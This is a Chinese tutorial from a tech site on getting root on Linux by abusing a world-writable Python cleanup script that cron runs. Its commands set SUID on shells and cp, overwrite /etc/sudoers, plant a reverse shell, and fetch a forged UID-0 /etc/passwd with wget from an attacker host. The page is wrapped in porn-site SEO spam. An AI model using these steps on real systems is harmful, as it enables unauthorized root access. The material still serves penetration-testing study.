中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Linux中怎么通過可寫文件獲取root權限

發布時間:2021-07-29 11:22:51 來源:億速云 閱讀:585 作者:Leah 欄目:編程語言

Linux中怎么通過可寫文件獲取root權限,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。

首先,我們來啟動我們的攻擊機并滲透進目標系統直至提權階段。這里假設我通過ssh成功登錄到了受害者機器,并訪問了非root用戶的終端。通過以下命令,我們可以枚舉所有具有可寫權限的二進制文件。

find / -writable -type  f 2>/dev/null | grep -v "/proc/"

可以看到在/lib/log路徑下有一個python文件,我們進入到該目錄并查看該文件的權限為777

Linux中怎么通過可寫文件獲取root權限

通過cat命令查看該文件內容,這是管理員添加的一個用來清除 /tmp中的所有垃圾文件的腳本,具體執行取決于管理員設置的定時間隔。獲取了這些信息后,攻擊者可以通過以下方式來執行提權操作。

Linux中怎么通過可寫文件獲取root權限

方法1

我們復制了/bin/sh到/tmp下并為/tmp/sh啟用了SUID。使用編輯器打開sanitizer.py并將“rm -r /tmp/*”中的內容替換為以下兩行:

os.system('cp /bin/sh /tmp/sh')
os.system('chmod u+s /tmp/sh')

Linux中怎么通過可寫文件獲取root權限

一段時間后,它將在/tmp目錄內創建一個具有SUID權限的sh文件,當你運行它時,你將會獲取root訪問權限。

cd /tmp
ls
./sh
id
whoami

下圖可以說明一切!

Linux中怎么通過可寫文件獲取root權限

方法2

同樣,你也可以將“rm -r /tmp/*”替換為以下內容:

os.system(‘chmod u+s /bin/dash)

Linux中怎么通過可寫文件獲取root權限

一段時間后,它將為/bin/dash設置SUID權限,并且在運行時會給予root訪問權限。

/bin/dash
id
whoami

如下圖所示:

Linux中怎么通過可寫文件獲取root權限

方法3

在這種方法中,我們在rm -r /tmp/*的位置粘貼了python反向shell連接代碼,并在新的終端中啟動了netcat偵聽。

Linux中怎么通過可寫文件獲取root權限

如上所述,經過一段時間后,我們通過netcat獲取了具有root訪問權限的反向shell。

nc -lvp 1234
id
whoami

如下圖所示:

Linux中怎么通過可寫文件獲取root權限

方法4

這個方法挺有意思的,在下圖中大家可以看到我當前的用戶是沒有執行sudo命令的權限的。那我們就想辦法讓自己成為suoders文件成員。

Linux中怎么通過可寫文件獲取root權限

同樣,我們將“rm -r /tmp/*”替換為以下內容:

os.system('echo "wernerbrandes ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers')

Linux中怎么通過可寫文件獲取root權限

過一段時間后,當你輸入“sudo -l”命令時,你會注意到,它已成為了sudo用戶的成員。此時我們只要輸入“sudo bash”就可以獲取root訪問權限。

sudo -l
sudo bash
id

方法5

我們知道passwd在任何類linux的系統中都扮演著非常重要的角色,一旦攻擊者有機會可以修改此文件,那么它將會成為一種特權提升的動態方式。

同樣,我們也不會忽視這一點,使用cat命令讀取etc/passwd文件。

在這里你可以觀察到用戶名為nemo記錄的高亮條目,根據我的猜測UID:1000 & GID:1000表示它應該是管理員組的成員。

但我們的目標是通過編輯nemo記錄,使其成為root組的成員。因此,我們選擇并復制etc/passwd文件內的所有記錄,然后將它粘貼到一個空的文本文件中。

Linux中怎么通過可寫文件獲取root權限

然后在一個新的終端中使用openssl生成一個加鹽密碼并復制。

openssl passwd -1 -salt abc 123

Linux中怎么通過可寫文件獲取root權限

現在將上面復制的加鹽密碼粘貼至用戶nemo記錄條目中的“X”處,并且將UID&GID更改為0,如圖所示。操作完成后,將文本文件保存為“passwd”,將該文件傳輸至目標系統,它將覆蓋原始passwd文件的內容。

cd Desktop
python -m SimpleHTTPServer 80

Linux中怎么通過可寫文件獲取root權限

同樣,將“rm -r /tmp/*”替換為以下內容:

os.system(‘chmod u+s /bin/cp)

一段時間后,它會啟用/bin/cp的SUID位以復制任意文件。

Linux中怎么通過可寫文件獲取root權限

現在將被你修改過的passwd文件下載至目標系統的/tmp目錄中。讓我們來檢查一下/bin/cp是否啟用了SUID位,然后使用cp命令將修改的passwd文件復制到/etc/passwd中,這將覆蓋原始passwd文件的內容。

cd /tmp
wget http://192.168.1.103/passwd
ls -al /bin/cp
cp passwd /etc/passwd

Linux中怎么通過可寫文件獲取root權限

現在,我們鍵入以下命令查看修改內容是否已在passwd文件中生效。

tail /etc/passwd

可以看到修改內容已成功寫入!

Linux中怎么通過可寫文件獲取root權限

執行以下命令獲取root訪問權限:

su nemo
password 123
whoami

Linux中怎么通過可寫文件獲取root權限

看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

那坡县| 噶尔县| 舟曲县| 博乐市| 柯坪县| 广丰县| 凉山| 巴中市| 搜索| 郑州市| 讷河市| 马关县| 新乡县| 南江县| 太谷县| 肇东市| 麟游县| 老河口市| 道真| 晋城| 乌拉特后旗| 鹤庆县| 温泉县| 高青县| 汶川县| 东乌珠穆沁旗| 黎川县| 麦盖提县| 洛川县| 东兰县| 柯坪县| 偃师市| 霞浦县| 睢宁县| 贵南县| 南丰县| 鄂托克前旗| 大宁县| 华亭县| 通渭县| 河曲县|